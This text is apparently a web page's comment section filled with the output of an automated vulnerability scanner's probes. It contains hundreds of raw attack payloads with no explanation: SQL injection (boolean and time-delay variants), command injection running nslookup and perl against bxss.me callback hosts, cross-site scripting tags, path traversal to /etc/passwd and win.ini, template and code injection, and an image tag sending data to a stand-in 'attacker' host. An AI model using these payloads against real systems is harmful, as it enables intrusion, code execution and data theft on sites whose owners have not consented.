'.gethostbyname(lc('hitpk'.'aewhnbwxeb88e.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(105).chr(90).chr(109).chr(74).'
&(nslookup hitqyzsgtlpos1ebbe.bxss.me||perl -e "gethostbyname('hitqyzsgtlpos1ebbe.bxss.me')")&'\"`0&(nslookup hitqyzsgtlpos1ebbe.bxss.me||perl -e "gethostbyname('hitqyzsgtlpos1ebbe.bxss.me')")&`'
".gethostbyname(lc("hiten"."rgbvnxpy9cfa0.bxss.me."))."A".chr(67).chr(hex("58")).chr(117).chr(66).chr(97).chr(77)."
|(nslookup hitiknbtmwcanb101a.bxss.me||perl -e "gethostbyname('hitiknbtmwcanb101a.bxss.me')")
`(nslookup hitkyxefroico229e8.bxss.me||perl -e "gethostbyname('hitkyxefroico229e8.bxss.me')")`
"+"A".concat(70-3).concat(22*4).concat(118).concat(68).concat(111).concat(87)+(require"socket" Socket.gethostbyname("hitia"+"lsbfzfre7e50d.bxss.me.")[3].to_s)+"
;(nslookup hituprtbolrud86fa4.bxss.me||perl -e "gethostbyname('hituprtbolrud86fa4.bxss.me')")|(nslookup hituprtbolrud86fa4.bxss.me||perl -e "gethostbyname('hituprtbolrud86fa4.bxss.me')")&(nslookup hituprtbolrud86fa4.bxss.me||perl -e "gethostbyname('hituprtbolrud86fa4.bxss.me')")
'+'A'.concat(70-3).concat(22*4).concat(118).concat(79).concat(113).concat(84)+(require'socket' Socket.gethostbyname('hitjx'+'qtjzhrpw778dc.bxss.me.')[3].to_s)+'
1111 Comment(s)
1
1'"
\
1
@@ihQd9
1
-1 OR 2+617-617-1=0+0+0+1 --
JyI=
-1 OR 3+617-617-1=0+0+0+1 --
-1 OR 3*2<(0+5+617-617) --
-1 OR 3*2>(0+5+617-617) --
-1 OR 2+876-876-1=0+0+0+1
-1 OR 3+876-876-1=0+0+0+1
-1 OR 3*2<(0+5+876-876)
-1 OR 3*2>(0+5+876-876)
-1' OR 2+75-75-1=0+0+0+1 --
-1' OR 3+75-75-1=0+0+0+1 --
-1' OR 3*2<(0+5+75-75) --
-1' OR 3*2>(0+5+75-75) --
-1' OR 2+827-827-1=0+0+0+1 or '98I2Orkn'='
-1' OR 3+827-827-1=0+0+0+1 or '98I2Orkn'='
-1' OR 3*2<(0+5+827-827) or '98I2Orkn'='
-1' OR 3*2>(0+5+827-827) or '98I2Orkn'='
-1" OR 2+670-670-1=0+0+0+1 --
-1" OR 3+670-670-1=0+0+0+1 --
-1" OR 3*2<(0+5+670-670) --
-1" OR 3*2>(0+5+670-670) --
if(now()=sysdate(),sleep(3.453),0)/*'XOR(if(now()=sysdate(),sleep(3.453),0))OR'"XOR(if(now()=sysdate(),sleep(3.453),0))OR"*/
(select(0)from(select(sleep(6.906)))v)/*'+(select(0)from(select(sleep(6.906)))v)+'"+(select(0)from(select(sleep(6.906)))v)+"*/
-1; waitfor delay '0:0:6.906' --
-1); waitfor delay '0:0:6.906' --
1 waitfor delay '0:0:6.906' --
yZxvUpqJ'; waitfor delay '0:0:10.359' --
-1;select pg_sleep(10.359); --
-1);select pg_sleep(3.453); --
-1));select pg_sleep(6.906); --
HMPw42Ln';select pg_sleep(6.906); --
8I3QHdUV');select pg_sleep(10.359); --
fjWWyoqR'));select pg_sleep(3.453); --
213'
1acu3Jer2rMWFE
1
1
1
1
1
1
1
1
1
1
1'"
\
@@cRMwe
JyI=
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-1 OR 2+732-732-1=0+0+0+1 --
-1 OR 3+732-732-1=0+0+0+1 --
-1 OR 2+775-775-1=0+0+0+1
-1 OR 3+775-775-1=0+0+0+1
-1' OR 2+246-246-1=0+0+0+1 --
-1' OR 3+246-246-1=0+0+0+1 --
-1' OR 2+482-482-1=0+0+0+1 or 'bA2yYEi4'='
-1' OR 3+482-482-1=0+0+0+1 or 'bA2yYEi4'='
-1" OR 2+998-998-1=0+0+0+1 --
-1" OR 3+998-998-1=0+0+0+1 --
18'
if(now()=sysdate(),sleep(12),0)
0'XOR(if(now()=sysdate(),sleep(12),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(12),0))XOR"Z
(select(0)from(select(sleep(12)))v)/*'+(select(0)from(select(sleep(12)))v)+'"+(select(0)from(select(sleep(12)))v)+"*/
-1; waitfor delay '0:0:12' --
-1); waitfor delay '0:0:12' --
1 waitfor delay '0:0:12' --
OFxONFpP'; waitfor delay '0:0:12' --
-5 OR 937=(SELECT 937 FROM PG_SLEEP(12))--
-5) OR 11=(SELECT 11 FROM PG_SLEEP(12))--
-1)) OR 262=(SELECT 262 FROM PG_SLEEP(12))--
9rUUs89M' OR 599=(SELECT 599 FROM PG_SLEEP(12))--
jCU69u3h') OR 774=(SELECT 774 FROM PG_SLEEP(12))--
tubC2OV2')) OR 112=(SELECT 112 FROM PG_SLEEP(12))--
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),12)
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),12)||'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
response.write(9126142*9536033)
/xfs.bxss.me
'+response.write(9126142*9536033)+'
988800
"+response.write(9126142*9536033)+"
http://xfs.bxss.me
1
1
1
1
//xfs.bxss.me
../../../../../../../../../../etc/passwd
/\xfs.bxss.me
../../../../../../../../../../windows/win.ini
1
1
1
1
1
../1
1
1
1
1
1
1
1
1
)
1
1
!(()&&!|*|*|
1
1
echo rnfynr$()\ looivf\nz^xyu||a #' &echo rnfynr$()\ looivf\nz^xyu||a #|" &echo rnfynr$()\ looivf\nz^xyu||a #
^(#$!@#$)(()))******
1
1
&echo mzhxih$()\ aonspo\nz^xyu||a #' &echo mzhxih$()\ aonspo\nz^xyu||a #|" &echo mzhxih$()\ aonspo\nz^xyu||a #
1
1
1
1
|echo kjzfvl$()\ sipskp\nz^xyu||a #' |echo kjzfvl$()\ sipskp\nz^xyu||a #|" |echo kjzfvl$()\ sipskp\nz^xyu||a #
1
1
'.gethostbyname(lc('hitsk'.'lyufbfct082ea.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(111).chr(86).chr(104).chr(82).'
(nslookup hitebzlyrwjvocd380.bxss.me||perl -e "gethostbyname('hitebzlyrwjvocd380.bxss.me')")
1
1
".gethostbyname(lc("hittr"."apqhfcnc79781.bxss.me."))."A".chr(67).chr(hex("58")).chr(122).chr(65).chr(118).chr(69)."
$(nslookup hituihiduquwcb05b8.bxss.me||perl -e "gethostbyname('hituihiduquwcb05b8.bxss.me')")
1
1
&(nslookup hitdulmpdrnwwd02a8.bxss.me||perl -e "gethostbyname('hitdulmpdrnwwd02a8.bxss.me')")&'\"`0&(nslookup hitdulmpdrnwwd02a8.bxss.me||perl -e "gethostbyname('hitdulmpdrnwwd02a8.bxss.me')")&`'
1
1
HttP://bxss.me/t/xss.html?%00
|(nslookup hityscxrevfek40d1b.bxss.me||perl -e "gethostbyname('hityscxrevfek40d1b.bxss.me')")
1
1
1
bxss.me/t/xss.html?%00
1
1
1
`(nslookup hitbaecaoksit0d8f0.bxss.me||perl -e "gethostbyname('hitbaecaoksit0d8f0.bxss.me')")`
1
1
;(nslookup hitecdyugeatg274cf.bxss.me||perl -e "gethostbyname('hitecdyugeatg274cf.bxss.me')")|(nslookup hitecdyugeatg274cf.bxss.me||perl -e "gethostbyname('hitecdyugeatg274cf.bxss.me')")&(nslookup hitecdyugeatg274cf.bxss.me||perl -e "gethostbyname('hitecdyugeatg274cf.bxss.me')")
1
1
1
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
"+"A".concat(70-3).concat(22*4).concat(114).concat(75).concat(110).concat(82)+(require"socket" Socket.gethostbyname("hitzj"+"rtqzfxvb3d87a.bxss.me.")[3].to_s)+"
1
1
1some_inexistent_file_with_long_name .jpg
'+'A'.concat(70-3).concat(22*4).concat(111).concat(77).concat(114).concat(77)+(require'socket' Socket.gethostbyname('hiten'+'okneuddua9496.bxss.me.')[3].to_s)+'
1
Http://bxss.me/t/fit.txt
1
1
index.php
http://bxss.me/t/fit.txt?.jpg
1
1
bxss.me
1
index.php
1
1
1
index.php/.
1
1
'"
1
<!--
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
;print(md5(31337));
1<esi:include src="http://bxss.me/rpb.png"/>
1
1
1
';print(md5(31337));$a='
1
";print(md5(31337));$a="
1
1
1
${@print(md5(31337))}
1
1
1
1
${@print(md5(31337))}\
${10000255+9999997}
1
1
'.print(md5(31337)).'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"()&%<acx><ScRiPt >j3cQ(9774)</ScRiPt>
1
1
'"()&%<acx><ScRiPt >j3cQ(9670)</ScRiPt>
1
19204905
1
acu2054＜s1﹥s2ʺs3ʹuca2054
1
<%={{={@{#{${acx}}%>
1
<th:t="${acx}#foreach
1
1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
1
acx{{98991*97996}}xca
acx[[${98991*97996}]]xca
acx__${98991*97996}__::.x
1<ScRiPt >j3cQ(9970)</ScRiPt>
1<W3TQCO>S6E3Y[!+!]</W3TQCO>
1<script>j3cQ(9540)</script>
1<ScR<ScRiPt>IpT>j3cQ(9535)</sCr<ScRiPt>IpT>
1<ScRiPt >j3cQ(9626)</ScRiPt>
1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9550></ScRiPt>
1< ScRiPt >j3cQ(9914)</ScRiPt>
1<isindex type=image src=1 onerror=j3cQ(9668)>
1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9388'>
1<body onload=j3cQ(9404)>
1<img src=//xss.bxss.me/t/dot.gif onload=j3cQ(9422)>
1<img src=xyz OnErRor=j3cQ(9795)>
1<img/src=">" onerror=alert(9307)>
%31%3C%53%63%52%69%50%74%20%3E%6A%33%63%51%289461%29%3C%2F%73%43%72%69%70%54%3E
1\u003CScRiPt\j3cQ(9535)\u003C/sCripT\u003E
1<ScRiPt>j3cQ(9301)</sCripT>
1<input autofocus onfocus=j3cQ(9869)>
<a HrEF=http://xss.bxss.me></a>
<a HrEF=jaVaScRiPT:>
1}body{acu:Expre/**/SSion(j3cQ(9527))}
1<% contenteditable onresize=j3cQ(9430)>
1kOJoY <ScRiPt >j3cQ(9936)</ScRiPt>
1<WCW2LV>3OCMH[!+!]</WCW2LV>
1<ifRAme sRc=9619.com></IfRamE>
1<LOg0NZ x=9668>
1<img sRc='http://attacker-9754/log.php?
1<GTjTIF<
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-1 OR 2+223-223-1=0+0+0+1 --
-1 OR 3+223-223-1=0+0+0+1 --
-1 OR 2+664-664-1=0+0+0+1
-1 OR 3+664-664-1=0+0+0+1
-1' OR 2+39-39-1=0+0+0+1 --
-1' OR 3+39-39-1=0+0+0+1 --
-1' OR 2+573-573-1=0+0+0+1 or 'izKYibA9'='
-1' OR 3+573-573-1=0+0+0+1 or 'izKYibA9'='
-1" OR 2+415-415-1=0+0+0+1 --
-1" OR 3+415-415-1=0+0+0+1 --
if(now()=sysdate(),sleep(15),0)
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-1; waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
3osjSNti'; waitfor delay '0:0:15' --
-5 OR 589=(SELECT 589 FROM PG_SLEEP(15))--
-5) OR 207=(SELECT 207 FROM PG_SLEEP(15))--
-1)) OR 689=(SELECT 689 FROM PG_SLEEP(15))--
n7BYcgUq' OR 366=(SELECT 366 FROM PG_SLEEP(15))--
CLbdG1gP') OR 412=(SELECT 412 FROM PG_SLEEP(15))--
ocPzfpDs')) OR 667=(SELECT 667 FROM PG_SLEEP(15))--
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
@@bsiCE
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"
\
@@x4pJ3
JyI=
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-1 OR 2+990-990-1=0+0+0+1 --
-1 OR 3+990-990-1=0+0+0+1 --
-1 OR 2+845-845-1=0+0+0+1
-1 OR 3+845-845-1=0+0+0+1
-1' OR 2+498-498-1=0+0+0+1 --
-1' OR 3+498-498-1=0+0+0+1 --
-1' OR 2+136-136-1=0+0+0+1 or 'XN3lfipe'='
-1' OR 3+136-136-1=0+0+0+1 or 'XN3lfipe'='
-1" OR 2+208-208-1=0+0+0+1 --
-1" OR 3+208-208-1=0+0+0+1 --
536'
if(now()=sysdate(),sleep(12),0)
0'XOR(if(now()=sysdate(),sleep(12),0))XOR'Z
0"XOR(if(now()=sysdate(),sleep(12),0))XOR"Z
(select(0)from(select(sleep(12)))v)/*'+(select(0)from(select(sleep(12)))v)+'"+(select(0)from(select(sleep(12)))v)+"*/
-1; waitfor delay '0:0:12' --
-1); waitfor delay '0:0:12' --
1 waitfor delay '0:0:12' --
aZeDzcDz'; waitfor delay '0:0:12' --
-5 OR 905=(SELECT 905 FROM PG_SLEEP(12))--
-5) OR 869=(SELECT 869 FROM PG_SLEEP(12))--
-1)) OR 885=(SELECT 885 FROM PG_SLEEP(12))--
4qhIFsiM' OR 376=(SELECT 376 FROM PG_SLEEP(12))--
odvMumwU') OR 237=(SELECT 237 FROM PG_SLEEP(12))--
VwJ1Yhq0')) OR 414=(SELECT 414 FROM PG_SLEEP(12))--
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),12)
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),12)||'
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
-1 OR 2+791-791-1=0+0+0+1 --
1
1
1
1
1
1
1
1
1
1
1
-1 OR 3+791-791-1=0+0+0+1 --
1
1
1
1
1
1
1
1
1
1
-1 OR 3*2<(0+5+791-791) --
1
1
1
1
1
1
1
1
1
1
-1 OR 3*2>(0+5+791-791) --
1
1
1
1
1
1
1
1
1
-1 OR 2+975-975-1=0+0+0+1
1
1
1
1
1
1
1
1
-1 OR 3+975-975-1=0+0+0+1
1
1
1
1
1
1
1
-1 OR 3*2<(0+5+975-975)
1
1
1
1
1
1
-1 OR 3*2>(0+5+975-975)
1
-1' OR 2+550-550-1=0+0+0+1 --
1
-1' OR 3+550-550-1=0+0+0+1 --
1
-1' OR 3*2<(0+5+550-550) --
1
-1' OR 3*2>(0+5+550-550) --
1
-1' OR 2+909-909-1=0+0+0+1 or '0NrQIydI'='
-1' OR 3+909-909-1=0+0+0+1 or '0NrQIydI'='
-1' OR 3*2<(0+5+909-909) or '0NrQIydI'='
-1' OR 3*2>(0+5+909-909) or '0NrQIydI'='
-1" OR 2+74-74-1=0+0+0+1 --
-1" OR 3+74-74-1=0+0+0+1 --
-1" OR 3*2<(0+5+74-74) --
-1" OR 3*2>(0+5+74-74) --
if(now()=sysdate(),sleep(9),0)/*'XOR(if(now()=sysdate(),sleep(9),0))OR'"XOR(if(now()=sysdate(),sleep(9),0))OR"*/
(select(0)from(select(sleep(9)))v)/*'+(select(0)from(select(sleep(9)))v)+'"+(select(0)from(select(sleep(9)))v)+"*/
-1; waitfor delay '0:0:3' --
-1); waitfor delay '0:0:3' --
1 waitfor delay '0:0:3' --
Crdoy8Yy'; waitfor delay '0:0:6' --
-1;select pg_sleep(6); --
-1);select pg_sleep(6); --
-1));select pg_sleep(9); --
1'"
CWQEI7fz';select pg_sleep(9); --
\
1
bfJRfZct');select pg_sleep(9); --
eZtwDUxD'));select pg_sleep(9); --
@@R6Et0
1||UTL_INADDR.get_host_address('dns.'||'sqli.013405.55-495.55.5e8b3.1.bxss'||'.me')
JyI=
'||UTL_INADDR.get_host_address('dns.'||'sqli.013405.55-496.55.5e8b3.1.bxss'||'.me')||'
1;copy (select '') to program 'nslookup dns.sqli.\013405.55-497.55.5e8b3.\1.bxss.me'
1';copy (select '') to program 'nslookup dns.sqli.\013405.55-500.55.5e8b3.\1.bxss.me
75'
1
1acuu1nzGogUho
1'"
\
@@70rCQ
JyI=
1
1
-1 OR 2+137-137-1=0+0+0+1 --
1
-1 OR 3+137-137-1=0+0+0+1 --
1
-1 OR 3*2<(0+5+137-137) --
-1 OR 3*2>(0+5+137-137) --
-1 OR 2+457-457-1=0+0+0+1
-1 OR 3+457-457-1=0+0+0+1
-1 OR 3*2<(0+5+457-457)
-1 OR 3*2>(0+5+457-457)
-1' OR 2+95-95-1=0+0+0+1 --
-1' OR 3+95-95-1=0+0+0+1 --
-1' OR 3*2<(0+5+95-95) --
-1' OR 3*2>(0+5+95-95) --
-1' OR 2+968-968-1=0+0+0+1 or 'xeD1BA95'='
-1' OR 3+968-968-1=0+0+0+1 or 'xeD1BA95'='
-1' OR 3*2<(0+5+968-968) or 'xeD1BA95'='
-1' OR 3*2>(0+5+968-968) or 'xeD1BA95'='
-1" OR 2+827-827-1=0+0+0+1 --
-1" OR 3+827-827-1=0+0+0+1 --
-1" OR 3*2<(0+5+827-827) --
-1" OR 3*2>(0+5+827-827) --
if(now()=sysdate(),sleep(7.406),0)/*'XOR(if(now()=sysdate(),sleep(7.406),0))OR'"XOR(if(now()=sysdate(),sleep(7.406),0))OR"*/
(select(0)from(select(sleep(7.406)))v)/*'+(select(0)from(select(sleep(7.406)))v)+'"+(select(0)from(select(sleep(7.406)))v)+"*/
-1; waitfor delay '0:0:7.406' --
-1); waitfor delay '0:0:11.109' --
1 waitfor delay '0:0:11.109' --
v2cxZMn0'; waitfor delay '0:0:3.703' --
-1;select pg_sleep(3.703); --
-1);select pg_sleep(3.703); --
-1));select pg_sleep(7.406); --
sBoIqJrL';select pg_sleep(7.406); --
TQoEffQt');select pg_sleep(11.109); --
iHGxSj9d'));select pg_sleep(11.109); --
685'
1acuNNVFrLtq6W
e
1
/xfs.bxss.me
935386
response.write(9413367*9075247)
http://xfs.bxss.me
'+response.write(9413367*9075247)+'
1
//xfs.bxss.me
1
1
/\xfs.bxss.me
"+response.write(9413367*9075247)+"
1
1
1
1
1
1
1
1
1
../../../../../../../../../../etc/passwd
)
1
1
../../../../../../../../../../windows/win.ini
!(()&&!|*|*|
'.gethostbyname(lc('hitpj'.'iyvsomls31ce1.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(99).chr(83).chr(98).chr(75).'
1
1
^(#$!@#$)(()))******
".gethostbyname(lc("hitvl"."mkxggaaifb450.bxss.me."))."A".chr(67).chr(hex("58")).chr(115).chr(81).chr(105).chr(74)."
../1
1
1
1
1
1
1
1
1
1
1
1
1
echo rbbxjs$()\ efnnoh\nz^xyu||a #' &echo rbbxjs$()\ efnnoh\nz^xyu||a #|" &echo rbbxjs$()\ efnnoh\nz^xyu||a #
1
1
1
&echo kfreqs$()\ bfalrf\nz^xyu||a #' &echo kfreqs$()\ bfalrf\nz^xyu||a #|" &echo kfreqs$()\ bfalrf\nz^xyu||a #
1
1
|echo ytxkbw$()\ jnyslp\nz^xyu||a #' |echo ytxkbw$()\ jnyslp\nz^xyu||a #|" |echo ytxkbw$()\ jnyslp\nz^xyu||a #
1
http://some-inexistent-website.acu/some_inexistent_file_with_long_name?.jpg
1
(nslookup hityzwudpqsvr5d99a.bxss.me||perl -e "gethostbyname('hityzwudpqsvr5d99a.bxss.me')")
1
1some_inexistent_file_with_long_name .jpg
$(nslookup hitjarffgeitn88f4d.bxss.me||perl -e "gethostbyname('hitjarffgeitn88f4d.bxss.me')")
HttP://bxss.me/t/xss.html?%00
"+"A".concat(70-3).concat(22*4).concat(103).concat(82).concat(111).concat(78)+(require"socket" Socket.gethostbyname("hitow"+"ccffwmql867af.bxss.me.")[3].to_s)+"
1
Http://bxss.me/t/fit.txt
&(nslookup hitkhkmxdcjev438fe.bxss.me||perl -e "gethostbyname('hitkhkmxdcjev438fe.bxss.me')")&'\"`0&(nslookup hitkhkmxdcjev438fe.bxss.me||perl -e "gethostbyname('hitkhkmxdcjev438fe.bxss.me')")&`'
bxss.me/t/xss.html?%00
'+'A'.concat(70-3).concat(22*4).concat(99).concat(71).concat(105).concat(88)+(require'socket' Socket.gethostbyname('hitsp'+'iamapzob8d1c3.bxss.me.')[3].to_s)+'
http://bxss.me/t/fit.txt?.jpg
1
|(nslookup hitqfpieckxjl54182.bxss.me||perl -e "gethostbyname('hitqfpieckxjl54182.bxss.me')")
bxss.me
1
1
`(nslookup hitwibikhzfga2e00f.bxss.me||perl -e "gethostbyname('hitwibikhzfga2e00f.bxss.me')")`
1
1
1
;(nslookup hitxrohpjrtqdd1b16.bxss.me||perl -e "gethostbyname('hitxrohpjrtqdd1b16.bxss.me')")|(nslookup hitxrohpjrtqdd1b16.bxss.me||perl -e "gethostbyname('hitxrohpjrtqdd1b16.bxss.me')")&(nslookup hitxrohpjrtqdd1b16.bxss.me||perl -e "gethostbyname('hitxrohpjrtqdd1b16.bxss.me')")
1
1
1
1
index.php
1
index.php
1
1
index.php/.
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
'"
1
1
<!--
1
1
1
1
1
1
1
1
;print(md5(31337));
1
1
1
';print(md5(31337));$a='
1
1
";print(md5(31337));$a="
1
1
1
1
${@print(md5(31337))}
1
1
1
1
${@print(md5(31337))}\
1
1
1
1
1
1
'.print(md5(31337)).'
1
1
1
1
1
1
1<esi:include src="http://bxss.me/rpb.png"/>
1
1
1
1
1
1
${10000266+10000141}
1hQ4I0RCO
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"()&%<acx><ScRiPt >qLYT(9899)</ScRiPt>
1
'"()&%<acx><ScRiPt >qLYT(9605)</ScRiPt>
1
19842688
1
acu8898＜s1﹥s2ʺs3ʹuca8898
1
1
<%={{={@{#{${acx}}%>
1
<th:t="${acx}#foreach
1
1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
1
acx{{98991*97996}}xca
1
acx[[${98991*97996}]]xca
1
acx__${98991*97996}__::.x
1<ScRiPt >qLYT(9553)</ScRiPt>
1
1<WCKQPI>M7FYN[!+!]</WCKQPI>
1<script>qLYT(9946)</script>
1<ScR<ScRiPt>IpT>qLYT(9113)</sCr<ScRiPt>IpT>
1<ScRiPt >qLYT(9820)</ScRiPt>
1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9743></ScRiPt>
1< ScRiPt >qLYT(9844)</ScRiPt>
1<isindex type=image src=1 onerror=qLYT(9726)>
1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9642'>
1<body onload=qLYT(9836)>
1<img src=//xss.bxss.me/t/dot.gif onload=qLYT(9075)>
1<img src=xyz OnErRor=qLYT(9730)>
1<img/src=">" onerror=alert(9394)>
%31%3C%53%63%52%69%50%74%20%3E%71%4C%59%54%289590%29%3C%2F%73%43%72%69%70%54%3E
1\u003CScRiPt\qLYT(9810)\u003C/sCripT\u003E
1<ScRiPt>qLYT(9679)</sCripT>
1<input autofocus onfocus=qLYT(9603)>
<a HrEF=http://xss.bxss.me></a>
<a HrEF=jaVaScRiPT:>
1}body{acu:Expre/**/SSion(qLYT(9680))}
1<% contenteditable onresize=qLYT(9734)>
13S832 <ScRiPt >qLYT(9344)</ScRiPt>
1<WY9GJH>I2BBI[!+!]</WY9GJH>
1<ifRAme sRc=9591.com></IfRamE>
1<DoCDix x=9635>
1<img sRc='http://attacker-9102/log.php?
1<xGb0s8<
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1'"()&%<acx><ScRiPt >UXGE(9349)</ScRiPt>
1
'"()&%<acx><ScRiPt >UXGE(9136)</ScRiPt>
19384387
1
acu5339＜s1﹥s2ʺs3ʹuca5339
1
1
<%={{={@{#{${acx}}%>
1
1
1
<th:t="${acx}#foreach
1
1
1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
1
1
1
1
acx{{98991*97996}}xca
1
acx[[${98991*97996}]]xca
1
acx__${98991*97996}__::.x
1
1<ScRiPt >UXGE(9618)</ScRiPt>
1
1<WEAZHY>WVYRX[!+!]</WEAZHY>
1<script>UXGE(9597)</script>
1
1
1<ScR<ScRiPt>IpT>UXGE(9463)</sCr<ScRiPt>IpT>
1
1<ScRiPt >UXGE(9760)</ScRiPt>
1
1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9247></ScRiPt>
1
1< ScRiPt >UXGE(9773)</ScRiPt>
1
1<isindex type=image src=1 onerror=UXGE(9380)>
1
1<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9559'>
1
1
-1 OR 2+902-902-1=0+0+0+1 --
-1 OR 3+902-902-1=0+0+0+1 --
1<body onload=UXGE(9728)>
1
-1 OR 2+160-160-1=0+0+0+1
-1 OR 3+160-160-1=0+0+0+1
1<img src=//xss.bxss.me/t/dot.gif onload=UXGE(9240)>
1
-1' OR 2+728-728-1=0+0+0+1 --
-1' OR 3+728-728-1=0+0+0+1 --
1<img src=xyz OnErRor=UXGE(9489)>
-1' OR 2+548-548-1=0+0+0+1 or 'GIdKEPMd'='
1
-1' OR 3+548-548-1=0+0+0+1 or 'GIdKEPMd'='
-1" OR 2+64-64-1=0+0+0+1 --
1<img/src=">" onerror=alert(9613)>
1
-1" OR 3+64-64-1=0+0+0+1 --
1
%31%3C%53%63%52%69%50%74%20%3E%55%58%47%45%289970%29%3C%2F%73%43%72%69%70%54%3E
1\u003CScRiPt\UXGE(9340)\u003C/sCripT\u003E
1
1<ScRiPt>UXGE(9584)</sCripT>
if(now()=sysdate(),sleep(15),0)
1
1<input autofocus onfocus=UXGE(9728)>
1
<a HrEF=http://xss.bxss.me></a>
1
0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z
<a HrEF=jaVaScRiPT:>
1
1}body{acu:Expre/**/SSion(UXGE(9494))}
1
1<% contenteditable onresize=UXGE(9473)>
1
1ExB9b <ScRiPt >UXGE(9637)</ScRiPt>
1
1<W5L8VQ>QXUNM[!+!]</W5L8VQ>
0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z
1
1<ifRAme sRc=9413.com></IfRamE>
1
1
1<us7Z98 x=9303>
1
1<img sRc='http://attacker-9781/log.php?
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1<FjRehH<
-1; waitfor delay '0:0:15' --
-1); waitfor delay '0:0:15' --
1 waitfor delay '0:0:15' --
bqeGlZ1Q'; waitfor delay '0:0:15' --
-5 OR 860=(SELECT 860 FROM PG_SLEEP(15))--
-5) OR 760=(SELECT 760 FROM PG_SLEEP(15))--
-1)) OR 453=(SELECT 453 FROM PG_SLEEP(15))--
yGc5fuRa' OR 73=(SELECT 73 FROM PG_SLEEP(15))--
NC1MOETc') OR 171=(SELECT 171 FROM PG_SLEEP(15))--
EpRbFZJ0')) OR 929=(SELECT 929 FROM PG_SLEEP(15))--
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1'"
@@jrTlr
1
1
1'"()&%<acx><ScRiPt >3trX(9449)</ScRiPt>
'"()&%<acx><ScRiPt >3trX(9488)</ScRiPt>
1
19202519
1
acu5834＜s1﹥s2ʺs3ʹuca5834
1
1
<%={{={@{#{${acx}}%>
1
1
<th:t="${acx}#foreach
1
1
1
1}}"}}'}}1%>"%>'%><%={{={@{#{${acx}}%>
1
1
acx{{98991*97996}}xca
1
acx[[${98991*97996}]]xca
1
acx__${98991*97996}__::.x
1
1
1<ScRiPt >3trX(9208)</ScRiPt>
1
1<W7WXGM>ULQHZ[!+!]</W7WXGM>
1
1<script>3trX(9250)</script>
1
1<ScR<ScRiPt>IpT>3trX(9058)</sCr<ScRiPt>IpT>
1
1<ScRiPt >3trX(9387)</ScRiPt>
1
1<ScRiPt/acu src=//xss.bxss.me/t/xss.js?9866></ScRiPt>
